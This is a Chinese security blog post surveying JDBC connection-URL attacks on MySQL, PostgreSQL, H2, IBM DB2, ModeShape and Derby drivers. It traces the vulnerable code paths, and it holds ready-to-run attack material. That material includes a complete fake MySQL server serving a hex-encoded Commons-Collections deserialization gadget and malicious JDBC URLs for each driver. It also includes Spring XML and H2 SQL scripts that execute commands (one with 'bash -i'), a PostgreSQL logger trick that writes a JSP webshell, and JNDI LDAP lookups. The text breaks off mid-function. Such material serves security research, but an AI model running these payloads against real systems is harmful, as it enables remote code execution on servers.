JDBC Attack漫谈
godown 发表于 广东 技术文章 1759浏览 · 2024-12-03 06:51

20年开始就很多复现了,现在才赶来学习

议题最开始在 BlackHat Europe 2019 上由 Back2Zero 团队给出演讲,后在欧洲顶级信息安全会议 HITB SECCONF SIN-2021 上由 Litch1 & pyn3rd 进行了拓展和延伸。

HACK IN THE BOX(HITB)作为国际公认的最具影响力的信息安全会议,目前已成为全球十大安全峰会之一,演讲议题录用比例低于10%

以下为两次分享的 PPT 地址:

https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf

https://conference.hitb.org/hitbsecconf2021sin/materials/D1T2%20-%20Make%20JDBC%20Attacks%20Brilliant%20Again%20-%20Xu%20Yuanzhen%20&%20Chen%20Hongkun.pdf

JAVA JDBC

简介:JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC)

JDBC Connection:JDBC定义了一个叫java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xxx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

连接的格式如下

jdbc:driver://host:port/database?setting1=value1&setting2=value2

所以JDBC攻击是什么?

在进行数据库连接的时候会指定数据库的URL和连接配置

Connection con = DriverManager.getConnection("jdbc:mysql://localhost:3306/test","root", "root");

如果JDBC URL的参数被攻击者控制,可以让其指向恶意SQL服务器

不同的SQL服务器对应JAVA中的Impl API不同,具体如下:

Mysql JDBC Attack

JDBC连接MySQL服务器时,会默认执行几个内置的SQL语句,查询的结果集会在Mysql客户端调用ObjectInputStream#readObject进行反序列化。其中原因也很好理解,数据都是序列化传输的

攻击者可以搭建恶意Mysql服务器,返回精心构造的结果集,对Mysql客户端进行反序列化攻击

环境搭建

调试所需的maven pom

<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.13</version>
</dependency>

因为打的是CC链,所以加的依赖进行测试

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

恶意Mysql服务器搭建:

https://github.com/fnmsd/MySQL_Fake_Server

修改config.json,注意该mysql会用yso生成gadget,根据注释修改

{
     "config":{
        "ysoserialPath":"ysoserial-0.0.6-SNAPSHOT-all.jar", //YsoSerial位置
        "javaBinPath":"java",//java运行命令位置
        "fileOutputDir":"./fileOutput/",//读取文件的保存目录
        "displayFileContentOnScreen":true,//是否输出文件内容预览到控制台
        "saveToFile":true//是否保存文件
    },
//文件读取参数
    "fileread":{
        "win_ini":"c:\\windows\\win.ini",//key为设定的用户名,value为要读取的文件路径
        "win_hosts":"c:\\windows\\system32\\drivers\\etc\\hosts",
        "win":"c:\\windows\\",
        "linux_passwd":"/etc/passwd",
        "linux_hosts":"/etc/hosts",
        "index_php":"index.php",
        "__defaultFiles":["/etc/hosts","c:\\windows\\system32\\drivers\\etc\\hosts"]//未知用户名情况下随机选择文件读取

    },
//ysoserial参数
    "yso":{
        "Jdk7u21":["Jdk7u21","calc"]//key为设定的用户名,value为ysoserial参数的参数
    }
}

报错:AttributeError: module 'asyncio' has no attribute 'coroutine'. Did you mean: 'coroutines'?

包含@asyncio.coroutine 装饰器的将从Python3.11中删除,因此asyncio 模块没有@asyncio.coroutine 装饰符

改代码的话比较麻烦,建议开个3.0-3.10的python虚拟机,或者自己写个mysql server

由于我没有用yso的需求,所以写个mysql服务器也比较方便,fnmsd师傅对JDBC连接过程中的全部TCP进行抓包,分析了客户端与mysql服务器进行交互的全部流程,然后重现整个交互流程

package org.exploit.JDBC;

import java.io.*;
import java.net.*;
import java.nio.charset.StandardCharsets;
import java.util.Arrays;

public class JDBC_Attack_server {
    private static final String GREETING_DATA = "4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400";
    private static final String RESPONSE_OK_DATA = "0700000200000002000000";
    private static final String PAYLOAD_FILE = "cc6.ser";

    public static void main(String[] args) {
        String host = "0.0.0.0";
        int port = 3306;

        try (ServerSocket serverSocket = new ServerSocket(port, 50, InetAddress.getByName(host))) {
            System.out.println("Start fake MySQL server listening on " + host + ":" + port);

            while (true) {
                try (Socket clientSocket = serverSocket.accept()) {
                    System.out.println("Connection come from " + clientSocket.getInetAddress() + ":" + clientSocket.getPort());

                    // Send greeting data
                    sendData(clientSocket, GREETING_DATA);

                    while (true) {
                        // Login simulation: Client sends request login, server responds with OK
                        receiveData(clientSocket);
                        sendData(clientSocket, RESPONSE_OK_DATA);

                        // Other processes
                        String data = receiveData(clientSocket);
                        if (data.contains("session.auto_increment_increment")) {
                            String payload = "01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000";
                            sendData(clientSocket, payload);
                            data = receiveData(clientSocket);
                        } else if (data.contains("SHOW WARNINGS")) {
                            String payload = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000";
                            sendData(clientSocket, payload);
                            data = receiveData(clientSocket);
                        }
                        if (data.contains("SET NAMES")) {
                            sendData(clientSocket, RESPONSE_OK_DATA);
                            data = receiveData(clientSocket);
                        }
                        if (data.contains("SET character_set_results")) {
                            sendData(clientSocket, RESPONSE_OK_DATA);
                            data = receiveData(clientSocket);
                        }
                        if (data.contains("SHOW SESSION STATUS")) {
                            StringBuilder mysqlDatafinal = new StringBuilder();
                            String mysqlData = "0100000102";
                            mysqlData += "1a000002036465660001630163016301630c3f00ffff0000fc9000000000";
                            mysqlData += "1a000003036465660001630163016301630c3f00ffff0000fc9000000000";

                            // Get payload
                            String payloadContent = getPayloadContent();
                            if (payloadContent != null) {
                                // 计算 payload 长度并转为十六进制格式
                                String payloadLength = Integer.toHexString(payloadContent.length() / 2); // Python中的 //2 在Java中是使用除法
                                payloadLength = String.format("%4s", payloadLength).replace(' ', '0');  // 补充0,保持四位长度
                                String payloadLengthHex = payloadLength.substring(2, 4) + payloadLength.substring(0, 2); // 反转顺序

                                // 计算数据包总长度
                                int totalLength = payloadContent.length() / 2 + 4;
                                String dataLen = Integer.toHexString(totalLength);
                                dataLen = String.format("%6s", dataLen).replace(' ', '0'); // 补充0,保持六位长度
                                String dataLenHex = dataLen.substring(4, 6) + dataLen.substring(2, 4) + dataLen.substring(0, 2); // 反转顺序

                                // 构造最终的 MySQL 数据包
                                mysqlDatafinal.append(mysqlData).append(dataLenHex)
                                        .append("04")
                                        .append("fbfc")
                                        .append(payloadLengthHex)
                                        .append(payloadContent)  // 这里应该是 payload 的内容,假设它是一个十六进制字符串
                                        .append("07000005fe000022000100");
                            }
                            String mysqlstring = mysqlDatafinal.toString();
                            sendData(clientSocket, mysqlstring);
                            data = receiveData(clientSocket);
                        }
                        if (data.contains("SHOW WARNINGS")) {
                            String payload = "01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000";
                            sendData(clientSocket, payload);
                        }
                        break;
                    }
                }
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    // Receive data from client
    private static String receiveData(Socket socket) throws IOException {
        byte[] buffer = new byte[1024];
        InputStream inputStream = socket.getInputStream();
        int bytesRead = inputStream.read(buffer);
        String asciiString = new String(Arrays.copyOf(buffer, bytesRead), StandardCharsets.US_ASCII);
        String data =  asciiString;
        System.out.println("[*] Receiving the package: " + data);
        return data;
    }

    // Send data to client
    private static void sendData(Socket socket, String data) throws IOException {
        System.out.println("[*] Sending the package: " + data);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(hexToBytes(data));
        outputStream.flush();
    }

    // Convert byte array to hexadecimal string
    private static String bytesToHex(byte[] bytes) {
        StringBuilder hexString = new StringBuilder();
        for (byte b : bytes) {
            hexString.append(String.format("%02x", b));
        }
        return hexString.toString();
    }

    // Convert hexadecimal string to byte array
    private static byte[] hexToBytes(String hex) {
        int len = hex.length();
        byte[] bytes = new byte[len / 2];
        for (int i = 0; i < len; i += 2) {
            bytes[i / 2] = (byte) Integer.parseInt(hex.substring(i, i + 2), 16);
        }
        return bytes;
    }

    // Get payload content from file
    private static String getPayloadContent() {
        File file = new File(PAYLOAD_FILE);
        if (file.exists()) {
            try (FileInputStream fis = new FileInputStream(file)) {
                byte[] bytes = new byte[(int) file.length()];
                fis.read(bytes);
                return bytesToHex(bytes);
            } catch (IOException e) {
                e.printStackTrace();
            }
        } else {
            System.out.println("Payload file not found");
        }
        return "aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878";
    }
}

测试payload:

//用于测试的受害JDBC Client
public class JDBC_Attack_Client {
    public static void main(String[] args) throws Exception {
        String ClassName = "com.mysql.jdbc.Driver";
        String JDBC_Url = "jdbc:mysql://127.0.0.1:3306/test?"+
                "autoDeserialize=true"+
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        String username = "root";
        String password = "root";
        Class.forName(ClassName);
        Connection connection = DriverManager.getConnection(JDBC_Url, username, password);
    }
}

也可以学习su18佬用cobar做恶意server

https://paper.seebug.org/1832/

源码分析

这个调试有点复杂

先来看看getConnection jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor会发生些什么

autoDeserialize参数是本漏洞的关键,这个参数为true时,JDBC客户端会自动反序列化服务端返回的数据

在getConnection处打上断点,跟进到NonRegisteringDriver.connect,先调用了acceptsUrl去检查url,然后调用getConnectionUrlInstance

跟进accesptsUrl发现,只是判断url非空,和schema部分要包含固定字符串

继续跟进getConnectionUrlInstance,前面的代码是从cache表里看是否加载过了,略过;直接看到parseConnectionString解析JDBC串

跟进到ConnectionUrlParser.parseConnectionString,用CONNECTION_STRING_PTRN matcher去解析正则匹配JDBC串

正则如下:

private static final Pattern CONNECTION_STRING_PTRN = Pattern.compile("(?<scheme>[\\w:%]+)\\s*(?://(?<authority>[^/?#]*))?\\s*(?:/(?!\\s*/)(?<path>[^?#]*))?(?:\\?(?!\\s*\\?)(?<query>[^#]*))?(?:\\s*#(?<fragment>.*))?");

最后分割的字符串如下:

因为schema为jdbc:mysql,理所当然的走到了case SIGLE_CONMNECTION,实例化了com.mysql.cj.conf.url.SingleConnectionUrl

继续回到NonRegisteringDriver.connect,调用ConnectionImpl.getInstance

跟进到createNewIO -> ConnectOneTryOnly -> initializePropsFromServer -> handleAutoCommitDefaults -> setAutoCommit,调用execSQL

接着调用sendQueryString

第一次发送了SET autocommit=1

跟进到queryPacket为SET autocommit=1的sendQueryPacket内

调用了invokeQueryInterceptorsPre,这里的interceptors是NoSubInterceptorWrapper包装的ServerStatusDiffInterceptor

而且是在发送SET autocommit=1Packet之前调用的invokeQueryInterceptorsPre

跟进到三个形参invokeQueryInterceptorsPre,这是一个很关键的函数。循环调用了interceptors的preProcess方法

这就是在官网手册所说的,实现了com.mysql.cj.interceptors.QueryInterceptor接口的类,会调用重写的proProcess方法来处理SQL查询和处理SQL结果

跟进到ServerStatusDiffInterceptor,调用了populateMapWithSessionStatusValues

该函数内,会先调用executeQuery("SHOW SESSION STATUS"),然后调用ResultSetUtil.resultSetToMap

在发送SHOW SESSION STATUS之前已经完成了握手和配置这些基本的环节

OK我们跟进一下executeQuery("SHOW SESSION STATUS"),又调用了((NativeSession) locallyScopedConn.getSession()).execSQL,什么套娃

继续套娃到invokeQueryInterceptorsPre,因为本包已经是被interceptor拦截下来,在interceptor preProcess发的包,所以锁验证不过,不会再次进入preProcess

终于跟到了发送数据包了!sendCommand发送SHOW SESSION STATUS数据包

sendCommand也会走一遍invokeQueryInterceptorsPre,不过这里是两个形参,对应参数的preProcess返回null

最后在sendCommand发送了数据包

对应Server接收到了SHOW SESSION STATUS

在sendCommand之后,会调用readAllResults读取结果

按照scanForAndThrowDataTruncation -> convertShowWarningsToSQLWarnings的链子,跟到了发送SHOW WARNINGS的代码

如果不回复这个SHOW WARNINGS,会有解析问题

也就是说Client发送SHOW SESSION STATUS,接收到数据包后Client还发送了SHOW WARNINGS,并需要接收到正确的回答

接着看怎么处理的SHOW SESSION STATUS的回答,跟进到resultSetToMap

循环调用了rs.getObject读取数据

跟进到getObject(2),进入case BLOB,对接收的数据进行反序列化,至此反序列化漏洞触发

流程总结

完整的走一遍流程,我们在setCommand打上断点,综合前面的分析内容:

  1. Client连接mysql服务器,mysql服务器发出greeting招呼
  2. Client发送需要的mysql基本信息,mysql服务器回复固定的数据

  1. Client发出SET NAMES latin1,mysql服务器回复OK收到

  1. Client发出SET character_set_result = NULL,mysql服务器回复OK收到

  1. 然后Client想发送SET autocommit =1,配置的ServerStatusDiffInterceptor拦截器对消息进行预处理,于是分为了两个小步骤:

  2. Client发送SHOW SESSION STATUS确认mysql服务器状态,服务器返回了序列化数据

  3. Client发送SHOW WARNINGS,服务器返回固定消息以顺利通过warning检查
  4. 如果上面两个过程没问题,客户端用getObject处理SHOW SESSION STATUS返回的数据,触发反序列化漏洞

通信过程如下:

我们的恶意mysql服务器去模拟整个通信流程完成RCE

其他的攻击手法

上文用的queryInterceptors参数指定的ServerStatusDiffInterceptor拦截器进行注入,不同的版本用的参数不同,但手法都大同小异

  • ServerStatusDiffInterceptor做拦截器;

8.x:

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

6.x(属性名不同)

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

5.1.11及以上的5.x版本(包名没有cj):

jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor

5.1.11及以下的5.1.x版本:同上,但是需要连接后执行查询

  • detectCustomCollations

5.1.28 - 5.1.19

jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true

5.1.29 - 5.1.40

jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true

5.1.18以下的版本和5.1.41以上版本不能使用

PostgreSQL JDBC Attack

影响范围:

9.4.1208 <=PgJDBC <42.2.25

42.3.0 <=PgJDBC < 42.3.2

出网SpeL

POC 来自:

https://github.com/advisories/GHSA-v7wg-cpwc-24m4

jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml

exp.xml:

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg name="command" value="calc"/>
        <property name="whatever" value="#{pb.start()}"/>
    </bean>
</beans>

看POC应该是spel注入,那需要spring的依赖:

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-core</artifactId>
    <version>5.3.28</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-expression</artifactId>
    <version>5.3.28</version>
</dependency>
<dependency>
    <groupId>commons-logging</groupId>
    <artifactId>commons-logging</artifactId>
    <version>1.2</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-beans</artifactId>
    <version>5.3.28</version>
</dependency>
<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.3.28</version>
</dependency>

pom依赖:

<dependency>
    <groupId>org.postgresql</groupId>
    <artifactId>postgresql</artifactId>
    <version>42.3.0</version>
</dependency>

测试Client:

public static void main(String[] args) throws Exception {
    String URL = "jdbc:postgresql://127.0.0.1:11111/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:8888/ProcesserBuilder_calc.xml";
    DriverManager.registerDriver(new Driver());
    Connection connection = DriverManager.getConnection(URL);
    connection.close();
}

简单源码分析一下

源码分析

跟到org.postgresql.connect中,要求url以jdbc:postgresql:开头

跟进到调用parseURL

经过一堆分割解析出了如下Entry

然后跟进到makeConnection -> PgConnection -> ConnectionFactory.openConnection -> ConnectionFactoryImpl.openConnectionImpl -> SocketFactoryFactory.getSocketFactory -> ObjectFactory.instantiate

在ObjectFactory.instantiate内,调用了构造函数进行实例化

不出网写文件

不出网的话用loggerLevel + loggerFile写文件

=截断掉前面的shell内容绕过URLDecoder的处理

public static void main(String[] args) throws Exception {
    String URL = "jdbc:postgresql://127.0.0.1:11111/test/?loggerLevel=DEBUG&loggerFile=shell.jsp&<%Runtime.getRuntime().exec(\"calc\")};%> =\n";
    DriverManager.registerDriver(new Driver());
    Connection connection = DriverManager.getConnection(URL);
    connection.close();
}

H2database

环境搭建

h2 database console 可以整合到Springboot中,也可以独立启动,因为其内置了一个WebServer

下载:

http://www.h2database.com/html/cheatSheet.html

我这里下的最新的2.3.232版本

启动Web console,默认监听8082端口

java -cp .\h2-2.3.232.jar org.h2.tools.Server -web -webAllowOthers -ifNotExists

对h2 web console的利用需要开启-webAllowOthers选项,支持外部连接;需要开启-ifNotExists选项,支持创建数据库

H2的Web console不仅可以连接H2数据库,也可以连接其他支持JDBC API的数据库

如果目标h2 web console是以 -ifNotExists打开的,那用以下payload进行测试:

jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'

poc.sql:

DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('cmd /c calc');

会成功弹出计算器。两个$在h2中表示定义函数

该payload利用前提是h2 console连接的数据库存在,所以要么真有这个数据库,要么启动console的时候带上-ifNotExists参数。

但是h2数据库的JDBC URL中支持INIT配置,这个参数表示在连接h2数据库的时候,会执行一条初始化命令。不过只能执行一条,且不能包含分号

上面的CREATE ALIAS不止一条,可以用RUNSCRIPT执行一个SQL文件

jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/evil.sql'

该payload适用于任何有H2依赖的JDBC URL

public class H2database_JDBC_Client {
    public static void main(String[] args) throws Exception {
        String ClassName = "org.h2.Driver";
        String JDBC_Url = "jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'";
        String username = "root";
        String password = "root";
        Class.forName(ClassName);
        Connection connection = DriverManager.getConnection(JDBC_Url, username, password);
    }
}

源码分析

在getConnection打上断点,跟进到org.h2.Driver$connect,调用了JdbcConnection构造函数

先调用了ConnectionInfo处理了URL,然后调用了SessionRemote.connectEmbeddedOrServer

继续跟进SessionRemote.connectEmbeddedOrServer -> Engine.createSession

因为init = RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'不为空,先后调用了prepareLocal和executeUpdate

跟进到prepareLocal,调用了prepareCommand解析sql字符串,跟进到org.h2.command.Parser$parse(String sql, ArrayList<Token> tokens),调用了initialize

继续跟进到Tokenizer.tokenize

这就是解析JDBC字符串的关键了,会循环地去匹配字符开头:比如我们字符串为RUNSCRIPT FROM 'http://127.0.0.1:8888/h2_JDBC_Attack.sql',开头R进入case 调用readR

readR先调用findIdentifierEnd去查找keyword关键字,这里已经找到RSCRIPT,不过RIGHT EOW ROWNUM需要优先依次进行匹配,未匹配到最后调用readIdentifierOrKeyword。这里就完成了提取RUNSCRIPT

接着空格略过

From关键字

最后分离出的tokens如下

解析完字符串后在prepareCommand中调用了CommandContainer

明确了这是个RUNSCRIPT的CommandContainer,包装在了parser里面

之后会调用到RuntimeScriptCommand里

继续回到Engine.openSession,跟进executeUpdate

一直跟进到RunScriptCommand.update,循环执行从远程文件读到的sql语句

攻击手法总结

由于JDBC连接时INIT只能执行一条SQL语句,所以攻击方式比较有限

  • 能出网,可以打RUNSCRIPT
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/evil.sql'
DROP ALIAS IF EXISTS shell;
CREATE ALIAS shell AS $$void shell(String s) throws Exception {
    java.lang.Runtime.getRuntime().exec(s);
}$$;
SELECT shell('bash -i ..');

有回显:

CREATE ALIAS SHELLEXEC AS $$String shellexec(String cmd) throws java.io.IOException{
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); 
    return s.hasNext() ? s.next() : ""; 
}$$;

CALL SHELLEXEC('whoami');
  • 不出网

H2和MySQL一样有INFORMATION_SCHEMA。H2提取URL中的配置时是通过分割分号;来提取的,因此JS代码中不能有分号,否则会报错(可以加上反斜杠代表转义),//javascript是H2的语法

在H2内存数据库中创建一个触发器 TRIG_JS,该触发器在向 INFORMATION_SCHEMA.TABLES 表插入数据后执行。触发器的主体是一个JavaScript脚本

jdbc:h2:mem:test;init=CREATE TRIGGER TRIG_JS AFTER INSERT ON INFORMATION_SCHEMA.TABLES AS '//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")'

另外,目标机器有groovy依赖,能打AST注解

<dependency>
    <groupId>org.codehaus.groovy</groupId>
    <artifactId>groovy-sql</artifactId>
    <version>3.0.8</version>
</dependency>
jdbc:h2:mem:test;init=CREATE ALIAS shell2 AS
$$@groovy.transform.ASTTest(value={
assert java.lang.Runtime.getRuntime().exec("cmd.exe /c calc.exe")
})
def x$$
  • 绕过

INIT被过滤的时候,TRACE_LEVEL_SYSTEM_OUT,TRACE_LEVEL_FILE,TRACE_MAX_FILE_SIZE能触发堆叠注入,分号需要转义

jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER TRIG_JS BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
Java.type("java.lang.Runtime").getRuntime().exec("calc")$$--

IBM DB2

<dependency>
  <groupId>com.ibm.db2</groupId>
  <artifactId>jcc</artifactId>
  <version>11.5.0.0</version>
</dependency>

这个需要数据库存在才能打

docker起靶机:

docker pull ibmcom/db2express-c:latest
docker run -d --name db2 --privileged=true -p 50000:50000 -e  DB2INST1_PASSWORD=db2admin -e LICENSE=accept ibmcom/db2express-c  db2start

poc:

jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/fgfhjn;
public class DB2JDBCRCE {
    public static void main(String[] args) throws Exception {
        Class.forName("com.ibm.db2.jcc.DB2Driver");
        DriverManager.getConnection("jdbc:db2://127.0.0.1:50000/BLUDB:clientRerouteServerListJNDIName=ldap://127.0.0.1:1389/fgfhjn;");
    }
}

com.ibm.db2.jcc.am.c0$run处存在JNDI

ModeShape

<dependency>
    <groupId>org.modeshape</groupId>
    <artifactId>modeshape-jdbc</artifactId>
    <version>5.4.1.Final</version>
</dependency>

直接JNDI

public class Demo {
    public static void main(String[] args) throws ClassNotFoundException, SQLException {
        Class.forName("org.modeshape.jdbc.LocalJcrDriver");
        DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/q2s3n8");
    }
}

org.modeshape.jdbc.delegate.LocalRepositoryDelegate存在JNDI

Apache Derby

<dependency>
  <groupId>org.apache.derby</groupId>
  <artifactId>derby</artifactId>
  <version>10.10.1.1</version>
</dependency>

Derby JNDI Server:

public class Derby_JNDI_Server {
    private static final String PAYLOAD_FILE = "cc6.ser";
    public static void main(String[] args) throws Exception {
        // your port
        int          port   = 4851;
        ServerSocket server = new ServerSocket(port);
        Socket socket = server.accept();

        // CC6
        String evil=getPayloadContent();
        byte[] decode = Base64.getDecoder().decode(evil);

        // 直接向 socket 中写入
        socket.getOutputStream().write(decode);
        socket.getOutputStream().flush();
        Thread.sleep(TimeUnit.SECONDS.toMillis(5));
        socket.close();
        server.close();
    }
    private static String getPayloadContent() {
        File file = new File(PAYLOAD_FILE);
        if (file.exists()) {
            try (FileInputStream fis = new FileInputStream(file)) {
                byte[] bytes = new byte[(int) file.length()];
                fis.read(bytes);
                return base64encode(bytes);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        } else {
            System.out.println("Payload file not found");
        }
